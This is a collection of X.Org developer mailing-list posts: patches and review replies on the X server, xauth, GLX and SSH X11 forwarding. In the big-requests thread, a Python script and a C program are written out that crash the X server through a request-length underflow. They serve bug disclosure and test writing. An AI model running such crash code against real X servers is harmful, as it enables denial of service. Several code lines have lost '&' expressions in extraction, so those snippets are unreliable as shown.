Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH xserver 1/3] xfree86: Silence always true condition warning.

[Michal Srb]

On Monday, 27 March 2017 14:08:52 EEST walter harms wrote:
> > -if (pVideo->bus < 256)
> > -snprintf(busnum, sizeof(busnum), "%d", pVideo->bus);
> > -else
> > -snprintf(busnum, sizeof(busnum), "%d@%d",
> > - pVideo->bus & 0x00ff, pVideo->bus >> 8);
> > +snprintf(busnum, sizeof(busnum), "%d", pVideo->bus);
> > 
> >  XNFasprintf(, "PCI:%s:%d:%d",
> >  
> >  busnum, pVideo->dev, pVideo->func);
> 
> is busnum used later ? otherwise you could use the XNFasprintf().

It is not used later. You are right, that would be even better. Going to make 
that.

Michal
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH] os: Make sure big requests have sufficient length.

[Michal Srb]

Here is a script that can be used to crash X server using a broken big request 
for PolyLine. It connects to DISPLAY=:1 and doesn't support authentication. 
Look inside the script for more details.

Other requests could be used to crash X server in similar way, for example 
SetFontPath.

Michal Srb#!/usr/bin/env python

# This script crashes X server by sending a PolyLine request as a big request with incorrect length.
# The length underflows in X server, so it seems that the received request is huge.
# X server then tries to swap all elements inside the giant PolyLine request, eventually triggering segfault.

# Other requests could be used to crash X server in similar way, for example SetFontPath.

# Author: Michal Srb <m...@suse.com>
# License: MIT


# -- Configure this --

# Display to connect to
display_number = "1"
display_socket = "/tmp/.X11-unix/X" + display_number

# BIG-REQUESTS extension id
big_requests_extension = 133

# 


import struct
import socket

# Connection initiation
data = struct.pack(
  ">cxxx", # xConnClientPrefix
  'B', # .byteOrder= Big endian
  11,  # .majorVersion = 11
  0,   # .minorVersion = 0
  0,   # .nbytesAuthProto  = None # TODO: Support authentications
  0# .nbytesAuthString = None # TODO: Support authentications
)

# Enable big requests
data += struct.pack(
  ">BBH", # xBigReqEnableReq
  big_requests_extension, # .reqType = XBigReqCode
  0,  # .brReqType = X_BigReqEnable
  1   # .length = 1 * 4B = 4B
)

# PolyLine as big request
data += struct.pack(
  ">BBHIII",   # xPolyLineReq
  65,  # .reqType  = Poly Line request
  0,   # .coordMode= whatever
  0,   # .length   = 0 -> big request!
  0,   # .length (big request) = 0 ... XXX This will underflow!
  0,   # .drawable = whatever
  0,   # .gc   = whatever
)

# Send it
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(display_socket)
s.sendall(data)
s.recv(1)
s.close()
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: Tag forwarded X11 connection as remote

[Michal Srb]

On středa 4. října 2017 5:53:15 CEST Damien Miller wrote:
> On Mon, 2 Oct 2017, Michal Srb wrote:
> > SSH only needs to change the first byte sent from X client to server
> > to mark it as remote. SSH already modifies the whole first message
> > (replaces authorization data), so changing the first byte is easy
> > addition.
> > 
> > I have attached patch that implements it. Please check it and consider
> > adding it or something similar to openssh.
> 
> Thanks - is this flag fully backwards-compatible? Is there a chance it
> could cause problems on older X11 implementations? IMO most of the people
> using X11 forwarding are likely using it to/from older systems.

It is not fully backward compatible. Older X server that does not understand 
the 'R'/'r' flag will reject the client. The commit that added support for the 
flag is from 2011. It seems that first time it appeared in release was in 
version 1.14.0, which was in March 2013.

In addition, the potential incompatibility is only between the SSH client and 
the X server. They are normally both running on the same machine. So in normal 
scenario the an issue would only happen if you would install pre-1.14.0 X 
server and newest SSH client *on the same machine*. The remote side where SSH 
server and X applications run can have any versions, it does not affect them.

I can imagine situation where SSH-ing to an old machine and from there to a 
new machine could cause an issue. Not sure how important/supported such 
scenario is.

The situation could be possibly improved by:
* Adding a parameter that disables setting the remote flag.
* Automatically reconnecting without the flag if X server rejected connection 
with it.

Michal Srb
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH mga] Fix mga_device_attributes of mgag200eH3.

[Michal Srb]

It was missing value for HAL_chipset. All the following values got shifted by 
one and so the whole record was garbage.
---

Alternatively HAL_chipset could be dropped from everywhere because it does not 
seem to be used.

 src/mga_driver.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/mga_driver.c b/src/mga_driver.c
index e496d0b..ab93c71 100644
--- a/src/mga_driver.c
+++ b/src/mga_driver.c
@@ -426,7 +426,7 @@ static const struct mga_device_attributes attribs[] = {
16384, 0x4000,  /* Memory probe size & offset values */
 },
 
-[17] = { 0, 1, 0, 0, 1, 0, 0, new_BARs,
+[17] = { 0, 1, 0, 0, 1, 0, 0, 0, new_BARs,
 (TRANSC_SOLID_FILL | TWO_PASS_COLOR_EXPAND | USE_LINEAR_EXPANSION),
{
{ 5, 23 }, /* System VCO frequencies */
-- 
2.12.3

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: Tag forwarded X11 connection as remote

[Michal Srb]

On pátek 6. října 2017 4:47:06 CEST Damien Miller wrote:
> Is it too late to make the DRI3 developers adjust their protocol to degrade
> gracefully?

I am not sure, but I think it would be already able to degrade if it was able 
to detect error. But from what I observed, after X server (successfully) sends 
the file descriptor, no more data gets thru. So the X client (application) 
just waits indefinitely.

> Is there any lightweight way (i.e. not requiring any X11 libraries) that
> the client could determine whether or not the server supports this flag?

Probably the easiest would be to probe it. It could just send the initial 
request starting with 'r' or 'R' and observe whether X server accepts or 
rejects the connection.

Michal Srb
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: Tag forwarded X11 connection as remote

[Michal Srb]

On pátek 6. října 2017 9:40:31 CEST Michel Dänzer  wrote:
> On 05/10/17 07:47 PM, Damien Miller wrote:
> FWIW, xserver >= 1.18.4 detects SSH connections via the client's process
> name, treats them as remote and doesn't expose DRI3 on them.

Oh, that's actually workaround that would be sufficient, I will backport it to 
SUSE's X servers.

It would be still nice to solve it systematically by making ssh mark the 
connection as remote, but this makes it less critical.

Michal Srb
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Tag forwarded X11 connection as remote

[Michal Srb]

Hi,

Cross-posting to openssh-unix-dev and xorg-devel because this concerns both 
projects.

When X11 connection is forwarded using ssh, the ssh client typically connects 
to the local X server using unix socket (often it is the only option because X 
servers no longer listens on TCP by default). X clients connected remotely 
over ssh then seem like if they are local to the X server. Because of that it 
will attempt to use extensions that are meant for local clients only (SHM, 
DRI*, etc). In most cases the client or server can detect failure and fallback 
to a method that works remotely, but this does not always work:

https://bugzilla.opensuse.org/show_bug.cgi?id=1022727
(comments 24-26)

In case of DRI3, X server tries to pass file descriptor to the X client. That 
works over the unix socket between X server and SSH client, but of course can 
not be sent further over network. There is no way failure can be detected and 
the communication gets stuck forever.

The ideal solution would be if ssh marked the connection as remote.
X protocol supports that since 2011:
https://cgit.freedesktop.org/xorg/xserver/commit/?
id=e2c7d70e5ddb8b17676a13ceebfbb87d14d63243

SSH only needs to change the first byte sent from X client to server to mark 
it as remote. SSH already modifies the whole first message (replaces 
authorization data), so changing the first byte is easy addition.

I have attached patch that implements it. Please check it and consider adding 
it or something similar to openssh.

Best regards,
Michal Srb>From 0ab799d99113fd20e918fb2bc740614ce8388dcb Mon Sep 17 00:00:00 2001
From: Michal Srb <m...@suse.com>
Date: Mon, 21 Aug 2017 15:49:38 +0200
Subject: [PATCH] Mark x11 connection as remote.

If we are channeling x11 connection, modify the byte order field to let
X server know that the connection is remote.
---
 channels.c | 6 --
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/channels.c b/channels.c
index 028d5db2..2a09f91a 100644
--- a/channels.c
+++ b/channels.c
@@ -931,10 +931,12 @@ x11_open_helper(Buffer *b)
 
 	/* Parse the lengths of variable-length fields. */
 	ucp = buffer_ptr(b);
-	if (ucp[0] == 0x42) {	/* Byte order MSB first. */
+	if (ucp[0] == 0x42 || ucp[0] == 0x52) {	/* Byte order MSB first. */
+		ucp[0] = 0x52;	/* MSB first + remote connection flag */
 		proto_len = 256 * ucp[6] + ucp[7];
 		data_len = 256 * ucp[8] + ucp[9];
-	} else if (ucp[0] == 0x6c) {	/* Byte order LSB first. */
+	} else if (ucp[0] == 0x6c || ucp[0] == 0x72) {	/* Byte order LSB first. */
+		ucp[0] = 0x72;	/* LSB first + remote connection flag */
 		proto_len = ucp[6] + 256 * ucp[7];
 		data_len = ucp[8] + 256 * ucp[9];
 	} else {
-- 
2.12.3

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH] os: Make sure big requests have sufficient length.

[Michal Srb]

On pondělí 25. září 2017 12:55:47 CEST Eric Anholt wrote:
> Michal Srb <m...@suse.com> writes:
> > I think if you supply valid Drawable and GC, you should get crash even
> > with little endian.
> 
> I tried creating a gc against the root window and doing the drawing
> there, but the request seems to process successfully.  bigreq branch
> updated with that code.

Ok, looks like PolyLine does not crash because the `int npoint` inside 
ProcPolyLine becomes negative and so it doesn't actually call the rendering 
function. So PolyLine can not be used to crash X server if the client has same 
endianity.

You can use PolyRectangle instead. The attached program crashes my X server 
reliably.

Michal Srb/*
 * Copyright © 2017 Broadcom
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
 * copy of this software and associated documentation files (the "Software"),
 * to deal in the Software without restriction, including without limitation
 * the rights to use, copy, modify, merge, publish, distribute, sublicense,
 * and/or sell copies of the Software, and to permit persons to whom the
 * Software is furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice (including the next
 * paragraph) shall be included in all copies or substantial portions of the
 * Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
 * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
 * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
 * IN THE SOFTWARE.
 */

#include 
#include 
#include 
#include 
#include 


int main(int argc, char **argv) {
// Open connection
xcb_connection_t *c = xcb_connect(0, 0);

// Create window
xcb_screen_t *screen = xcb_setup_roots_iterator(xcb_get_setup(c)).data;

xcb_window_t win = xcb_generate_id(c);
xcb_void_cookie_t create_window_cookie = xcb_create_window_checked(
c, XCB_COPY_FROM_PARENT, win, screen->root,
0, 0, 100, 100, 0,
XCB_WINDOW_CLASS_INPUT_OUTPUT, screen->root_visual, 0, 0);

xcb_map_window(c, win);

// Create GC
xcb_gcontext_t gc = xcb_generate_id(c);
xcb_void_cookie_t create_gc_cookie = xcb_create_gc(c, gc, win, 0, 0);

// Make sure big requests are enabled
xcb_big_requests_enable_cookie_t big_request_enable_cookie = xcb_big_requests_enable(c);
xcb_big_requests_enable_reply_t* big_request_enable_reply = xcb_big_requests_enable_reply(c, big_request_enable_cookie, 0);
free(big_request_enable_reply);

xcb_flush(c);

int fd = xcb_get_file_descriptor(c);

struct {
uint8_t reqtype;
uint8_t coordmode;
uint16_t length;
uint32_t length_bigreq;
uint32_t drawable;
uint32_t gc;
} polyrectangle_req = {
.reqtype = XCB_POLY_RECTANGLE,

/* This is the value that triggers the bug. */
.length_bigreq = 0,

.drawable = win,
.gc = gc
};

/* Manually write out the bad request.  XCB can't help us here.*/
write(fd, _req, sizeof(polyrectangle_req));

/* Block until the server has processed our mess.  If the server
 * crashes, the simple-xinit will return failure.
 */
struct pollfd pfd = {
.fd = fd,
.events = POLLIN,
};
poll(, 1, -1);

return 0;
}
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH] os: Make sure big requests have sufficient length.

[Michal Srb]

On neděle 24. září 2017 0:20:07 CEST Eric Anholt wrote:
> Michal Srb <m...@suse.com> writes:
> > Here is a script that can be used to crash X server using a broken big
> > request for PolyLine. It connects to DISPLAY=:1 and doesn't support
> > authentication. Look inside the script for more details.
> > 
> > Other requests could be used to crash X server in similar way, for example
> > SetFontPath.
> 
> I noticed this still in my mailbox.  I tried writing an mergeable unit
> test for it at:
> 
> https://github.com/anholt/xserver/commit/d0e9d732750aa8eb7eeb33adce321f1dfee
> f265d
> 
> but it doesn't manage to crash the server because I can't set the endian
> mode using xcb (and xcb, sensibly, doesn't let me get an fd without
> doing connection setup on it).
> 
> I don't know much about the codepath with the bug, but hopefully this
> sparks some discussion.

Hi,

I think in your test case the underflow of the request length still happens, 
but it doesn't crash because nobody tries to access the data. It ends inside 
ProcPolyLine because the Drawable and the GC are not valid.

In my test case the client was big endian, so it crashed inside SProcPoly 
trying to swap the (incorrectly) huge request.

I think if you supply valid Drawable and GC, you should get crash even with 
little endian.

Michal Srb
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH] os: Make sure big requests have sufficient length.

[Michal Srb]

On pondělí 9. října 2017 17:14:44 CEST Eric Anholt 
> I tried the updated testcase and that didn't crash for me, either.  My
> v2 (which I've now sent out) testcase times out in 30 seconds without
> the fix and passes with the fix.  I'd love your review if you like that
> as a solution.

PolyLine is not crashing because it has `if (npoint > 1)` test and the 
`npoint` (int) overflowed into negative numbers.

If you change the XCB_POLY_LINE into XCB_POLY_RECTANGLE in your test it is 
enough to crash X server on my machine.

Michal Srb
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH xserver] xfree86/common: Fix VT leave lockup #103782

[Michal Srb]

On čtvrtek 16. listopadu 2017 21:28:05 CET Алексей Шилин  wrote:
> When xf86VTSwitchAway() returns true to xf86VTLeave(), the input
> mutex does not get unlocked. As the result, any other thread which
> later tries to execute input_lock() freezes forever, which in turn
> may lead to X server lockup.

I think that the input mutex is kept locked for a reason (although I do not 
know the reason), because it is then again unlocked at the end of xf86VTEnter. 
If you unlock it in xf86VTLeave, you will get a double unlock in xf86VTEnter.

Few days ago I sent alternative fix for this bug:
  Subject: [PATCH] os/inputthread: Force unlock when stopping thread.

  It did not get a response so far.

Michal Srb
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH app/xauth 2/2] Sort entries from most specific to most generic.

[Michal Srb]

On čtvrtek 7. června 2018 14:59:44 CEST Walter Harms wrote:
> I was thinking about a more permanent solution and sofar i see the correct
> way would to add the two functions to libXau since i do not see that other
> applications would be more clever that xauth.

That would be nice, sadly libXau does not provide any functions to manipulate 
the list of xauth records. Just functions for writing and reading of a single 
record, locking and matching.

One option would be to change the semantics of XauGetBestAuthByAddr to return 
the most precise match first, instead of returning the first match of any 
kind. But I don't think changing that behavior is good idea.

Alternatively we can just take the patch #1, so that xauth does overwrite 
records with other random records. I believe that is correct fix. And we can 
ignore this patch #2 that does the sorting. I could probably workaround my 
issue by invoking xauth differently. (I could create 1-item list first 
containing the new record and then merge the original list into it, so the new 
record will end up on top.)

Michal Srb
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH app/xauth 2/2] Sort entries from most specific to most generic.

[Michal Srb]

On úterý 5. června 2018 17:46:05 CEST Walter Harms wrote:
> MMh, so far i understand you do an add and then sort the whole thing.
> perhaps it would be more easy to start with a sorted field and insert (add)
> a key on the correct location ?

That would work if we have the guarantee that the list is sorted to begin 
with. The list will be sorted now if it was created by xauth. But if it was 
made by anything else (e.g. some display manager) it can be in any order. So 
when adding new entry, xauth will re-sort it.

Alternative would be to just insert the new entry in front of the first more 
general entry and ignore any entries that are never used because of their 
position in the list.

I don't have opinion on which is better. Both would work for my usecase.

Michal Srb
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH app/xauth 0/2] Fix xauth interaction with wildcard entries.

[Michal Srb]

These patches attempt to fix how 'xauth add' and 'xauth merge' interacts with
FamilyWild entries and entries with no display number.

Ultimately it is attempt to fix this downstream bug:
https://bugzilla.opensuse.org/show_bug.cgi?id=1083869

The problem in that bug is that GDM creates Xauthority file that contains
FamilyWild entry with no display number. This matches everything. That works as
long as the Xauthority file is used for only one X server. But if user uses the
vncserver script, it tries to add additional record using the xauth command.
This record gets "merged" with the wildcard record and replaces it.

Since wildcard entries and entries with no display numbers are valid (see email
"Is xauth entry without display number valid?" on x...@lists.x.org), lets fix
how the merge works and sort the entries from most specific to most generic.

Michal Srb (2):
  Merge only entries with equal dpy and protoname.
  Sort entries from most specific to most generic.

 process.c | 66 ---
 1 file changed, 51 insertions(+), 15 deletions(-)

-- 
2.13.6

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH app/xauth 1/2] Merge only entries with equal dpy and protoname.

[Michal Srb]

Merging two lists, or adding entry a into list acts unexpectedly if the list
contains FamilyWild or entry with an empty display numbers. For example:

  > xauth list
  ##6f70656e737573652d74756d626c6577656564#:  MIT-MAGIC-COOKIE-1  
1500d80327733252cc42ba469138a259

  > xauth add test/unix:2 MIT-MAGIC-COOKIE-1 aabbccddeeff00112233445566778899
  > xauth list
  test/unix:2  MIT-MAGIC-COOKIE-1  aabbccddeeff00112233445566778899

This is because merge_entries compares entries using `match_auth`, which
follows the same rules as XauGetBestAuthByAddr. Following these rules is good
when filtering the output of `xauth list`, but for merging we should compare
for equality. It used to be done that way before commit 1555fff4. That commit
changed it to improve the `xauth list` behavior, but did not seem consider the
impact on merge.
---
 process.c | 25 ++---
 1 file changed, 10 insertions(+), 15 deletions(-)

diff --git a/process.c b/process.c
index 12a1765..d3ea435 100644
--- a/process.c
+++ b/process.c
@@ -1057,16 +1057,22 @@ extract_entry(const char *inputfilename, int lineno, 
Xauth *auth, char *data)
 
 
 static int
-eq_auth(Xauth *a, Xauth *b)
+eq_auth_dpy_and_name(Xauth *a, Xauth *b)
 {
 return((a->family == b->family &&
a->address_length == b->address_length &&
a->number_length == b->number_length &&
a->name_length == b->name_length &&
-   a->data_length == b->data_length &&
memcmp(a->address, b->address, a->address_length) == 0 &&
memcmp(a->number, b->number, a->number_length) == 0 &&
-   memcmp(a->name, b->name, a->name_length) == 0 &&
+   memcmp(a->name, b->name, a->name_length) == 0) ? 1 : 0);
+}
+
+static int
+eq_auth(Xauth *a, Xauth *b)
+{
+return((eq_auth_dpy_and_name(a, b) &&
+   a->data_length == b->data_length &&
memcmp(a->data, b->data, a->data_length) == 0) ? 1 : 0);
 }
 
@@ -1100,17 +1106,6 @@ match_auth_dpy(register Xauth *a, register Xauth *b)
 return 1;
 }
 
-/* return non-zero iff display and authorization type are the same */
-
-static int
-match_auth(register Xauth *a, register Xauth *b)
-{
-return ((match_auth_dpy(a, b)
-&& a->name_length == b->name_length
-&& memcmp(a->name, b->name, a->name_length) == 0) ? 1 : 0);
-}
-
-
 static int
 merge_entries(AuthList **firstp, AuthList *second, int *nnewp, int *nreplp)
 {
@@ -1144,7 +1139,7 @@ merge_entries(AuthList **firstp, AuthList *second, int 
*nnewp, int *nreplp)
 
a = first;
for (;;) {
-   if (match_auth (a->auth, b->auth)) {  /* found a duplicate */
+   if (eq_auth_dpy_and_name (a->auth, b->auth)) {  /* found a 
duplicate */
AuthList tmp;   /* swap it in for old one */
tmp = *a;
*a = *b;
-- 
2.13.6

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH app/xauth 2/2] Sort entries from most specific to most generic.

[Michal Srb]

There is no point in adding entry or merging lists if a FamilyWild entry would
end in front of any entry, or entry without display number would end in front
of entry with number.

This sorts all entries in order:
  * FamilyWild without display number
  * FamilyWild with display number
  * Other family without display number
  * Other family with display number

The order of the entries in each category is kept.
---
 process.c | 41 +
 1 file changed, 41 insertions(+)

diff --git a/process.c b/process.c
index d3ea435..f3d6ca4 100644
--- a/process.c
+++ b/process.c
@@ -1170,6 +1170,45 @@ merge_entries(AuthList **firstp, AuthList *second, int 
*nnewp, int *nreplp)
 
 }
 
+static void
+sort_entries(AuthList **firstp)
+{
+/* Insert sort, in each pass it removes auth records of certain */
+/* cathegory from the given list and inserts them into the sorted list. */
+
+AuthList *sorted = NULL, *sorted_tail = NULL;
+AuthList *prev, *iter, *next;
+
+#define SORT_OUT(EXPRESSION) { \
+   prev = NULL; \
+   for (iter = *firstp; iter; iter = next) { \
+   next = iter->next; \
+   if (EXPRESSION) { \
+   if (prev) \
+   prev->next = next; \
+   else \
+   *firstp = next; \
+   if (sorted_tail == NULL) { \
+   sorted = sorted_tail = iter; \
+   } else { \
+   sorted_tail->next = iter; \
+   sorted_tail = iter; \
+   } \
+   iter->next = NULL; \
+   } else { \
+   prev = iter; \
+   } \
+   } \
+}
+
+SORT_OUT(iter->auth->family != FamilyWild && iter->auth->number_length != 
0);
+SORT_OUT(iter->auth->family != FamilyWild && iter->auth->number_length == 
0);
+SORT_OUT(iter->auth->family == FamilyWild && iter->auth->number_length != 
0);
+SORT_OUT(iter->auth->family == FamilyWild && iter->auth->number_length == 
0);
+
+*firstp = sorted;
+}
+
 static Xauth *
 copyAuth(Xauth *auth)
 {
@@ -1508,6 +1547,7 @@ do_merge(const char *inputfilename, int lineno, int argc, 
const char **argv)
  printf ("%d entries read in:  %d new, %d replacement%s\n",
  nentries, nnew, nrepl, nrepl != 1 ? "s" : "");
if (nentries > 0) xauth_modified = True;
+   sort_entries(_head);
 }
 
 return 0;
@@ -1656,6 +1696,7 @@ do_add(const char *inputfilename, int lineno, int argc, 
const char **argv)
fprintf (stderr, "unable to merge in added record\n");
return 1;
 }
+sort_entries(_head);
 
 xauth_modified = True;
 return 0;
-- 
2.13.6

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] os/inputthread: Force unlock when stopping thread.

[Michal Srb]

The inputthread is kept locked all the time while X server's VT is not active.
If the X server is terminated while not active, it will be stuck forever in
InputThreadFini waiting for the thread to join, but it wouldn't because it is
locked.
---
This fixes the X server termination while its VT is not active. I think it
should be safe to force unlock it from InputThreadFini - X server is
terminating and nothing else should race there, but I am not completely sure. 

 os/inputthread.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/os/inputthread.c b/os/inputthread.c
index 721e86312..dc4eb9f20 100644
--- a/os/inputthread.c
+++ b/os/inputthread.c
@@ -497,6 +497,7 @@ InputThreadFini(void)
 
 /* Close the pipe to get the input thread to shut down */
 close(hotplugPipeWrite);
+input_force_unlock();
 pthread_join(inputThreadInfo->thread, NULL);
 
 xorg_list_for_each_entry_safe(dev, next, >devs, node) {
-- 
2.12.3

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] glx: Do not call into Composite if it is disabled.

[Michal Srb]

Otherwise X server crashes if GLX is enabled and Composite disabled. For
example the compIsAlternateVisual function will try to lookup CompScreenPtr
using the CompScreenPrivateKey, but that was never initialized if Composite is
disabled.

Fixes: f84e59a4f4. ("glx: Duplicate relevant fbconfigs for compositing visuals")
Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=104993
Signed-off-by: Michal Srb <m...@suse.com>
---
 glx/glxdricommon.c | 63 +-
 glx/glxscreens.c   | 33 +---
 2 files changed, 55 insertions(+), 41 deletions(-)

diff --git a/glx/glxdricommon.c b/glx/glxdricommon.c
index a16e72849..8747ef545 100644
--- a/glx/glxdricommon.c
+++ b/glx/glxdricommon.c
@@ -35,6 +35,7 @@
 #include 
 #include 
 #include 
+#include "extinit.h"
 #include "glxserver.h"
 #include "glxext.h"
 #include "glxcontext.h"
@@ -183,28 +184,30 @@ createModeFromConfig(const __DRIcoreExtension * core,
 config->config.yInverted = GL_TRUE;
 
 #ifdef COMPOSITE
-/*
- * Here we decide what fbconfigs will be duplicated for compositing.
- * fgbconfigs marked with duplicatedForConf will be reserved for
- * compositing visuals.
- * It might look strange to do this decision this late when translation
- * from a __DRIConfig is already done, but using the __DRIConfig
- * accessor function becomes worse both with respect to code complexity
- * and CPU usage.
- */
-if (duplicateForComp &&
-(render_type_is_pbuffer_only(renderType) ||
- config->config.rgbBits != 32 ||
- config->config.redBits != 8 ||
- config->config.greenBits != 8 ||
- config->config.blueBits != 8 ||
- config->config.visualRating != GLX_NONE ||
- config->config.sampleBuffers != 0)) {
-free(config);
-return NULL;
-}
+if (!noCompositeExtension) {
+/*
+* Here we decide what fbconfigs will be duplicated for compositing.
+* fgbconfigs marked with duplicatedForConf will be reserved for
+* compositing visuals.
+* It might look strange to do this decision this late when translation
+* from a __DRIConfig is already done, but using the __DRIConfig
+* accessor function becomes worse both with respect to code complexity
+* and CPU usage.
+*/
+if (duplicateForComp &&
+(render_type_is_pbuffer_only(renderType) ||
+config->config.rgbBits != 32 ||
+config->config.redBits != 8 ||
+config->config.greenBits != 8 ||
+config->config.blueBits != 8 ||
+config->config.visualRating != GLX_NONE ||
+config->config.sampleBuffers != 0)) {
+free(config);
+return NULL;
+}
 
-config->config.duplicatedForComp = duplicateForComp;
+config->config.duplicatedForComp = duplicateForComp;
+}
 #endif
 
 return >config;
@@ -238,14 +241,16 @@ glxConvertConfigs(const __DRIcoreExtension * core,
 }
 
 #ifdef COMPOSITE
-/* Duplicate fbconfigs for use with compositing visuals */
-for (i = 0; configs[i]; i++) {
-tail->next = createModeFromConfig(core, configs[i], GLX_TRUE_COLOR,
-  GL_TRUE);
-if (tail->next == NULL)
-continue;
-
-   tail = tail->next;
+if (!noCompositeExtension) {
+/* Duplicate fbconfigs for use with compositing visuals */
+for (i = 0; configs[i]; i++) {
+tail->next = createModeFromConfig(core, configs[i], GLX_TRUE_COLOR,
+GL_TRUE);
+if (tail->next == NULL)
+continue;
+
+tail = tail->next;
+}
 }
 #endif
 
diff --git a/glx/glxscreens.c b/glx/glxscreens.c
index 596d972e0..5cd9fcfd4 100644
--- a/glx/glxscreens.c
+++ b/glx/glxscreens.c
@@ -38,6 +38,7 @@
 #include 
 #include 
 
+#include "extinit.h"
 #include "privates.h"
 #include "glxserver.h"
 #include "glxutil.h"
@@ -280,10 +281,12 @@ pickFBConfig(__GLXscreen * pGlxScreen, VisualPtr visual)
 if (config->visualID != 0)
 continue;
 #ifdef COMPOSITE
-   /* Use only duplicated configs for compIsAlternateVisuals */
-if (!!compIsAlternateVisual(pGlxScreen->pScreen, visual->vid) !=
-   !!config->duplicatedForComp)
-continue;
+if (!noCompositeExtension) {
+/* Use only duplicated configs for compIsAlternateVisuals */
+if (!!compIsAlternateVisual(pGlxScreen->pScreen, visual->vid) !=
+!!config->duplicatedForComp)
+continue;
+}
 #endif
 /*
  * If possible, use the same swapmethod for all built-in visual
@@ -353,8 +356,

Re: [PATCH xcb] don't flag extra reply in xcb_take_socket

[Michal Srb]

On čtvrtek 9. srpna 2018 0:20:01 CEST Erik Kurzinger wrote:
> In practice, this has been causing intermittent KWin crashes when
> used in combination with the proprietary NVIDIA driver such as
> https://bugs.kde.org/show_bug.cgi?id=386370 since when Xlib fails to
> retrieve one of these incorrectly discarded replies it triggers
> an IO error.

There is a downstream bug with the same issue:
https://bugzilla.opensuse.org/show_bug.cgi?id=1101560

I have let the reporter try libxcb with this patch and reportedly it fixed the 
issue for him. Not sure if it can be used as Tested-by, but positive feedback 
nevertheless!

Michal


___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH xserver] man: Mention that InputClass overrides InputDevice.

[Michal Srb]

To prevent confusion, since user may consider InputDevice as "stronger
selector" and expect that it will take priority over InputClass.
---
Downstream reference:
https://bugzilla.opensuse.org/show_bug.cgi?id=1105311

 hw/xfree86/man/xorg.conf.man | 10 +-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/hw/xfree86/man/xorg.conf.man b/hw/xfree86/man/xorg.conf.man
index 958926243..c921a1487 100644
--- a/hw/xfree86/man/xorg.conf.man
+++ b/hw/xfree86/man/xorg.conf.man
@@ -892,6 +892,10 @@ sections recognise some driver\-independent
 which are described here.
 See the individual input driver manual pages for a description of the
 device\-specific options.
+.B InputClass
+sections which match this device will override the options specified in
+.B InputDevice
+section.
 .TP 7
 .BI "Option \*qAutoServerLayout\*q  \*q" boolean \*q
 Always add the device to the ServerLayout section used by this instance of
@@ -1022,7 +1026,11 @@ class of input devices as they are automatically added. 
An input device can
 match more than one
 .B InputClass
 section. Each class can override settings from a previous class, so it is
-best to arrange the sections with the most generic matches first.
+best to arrange the sections with the most generic matches first. Options in
+.B InputClass
+sections override options from the device's backend, including those set in
+.B InputDevice
+section.
 .PP
 .B InputClass
 sections have the following format:
-- 
2.16.4

___
xorg-devel@lists.x.org: X.Org development
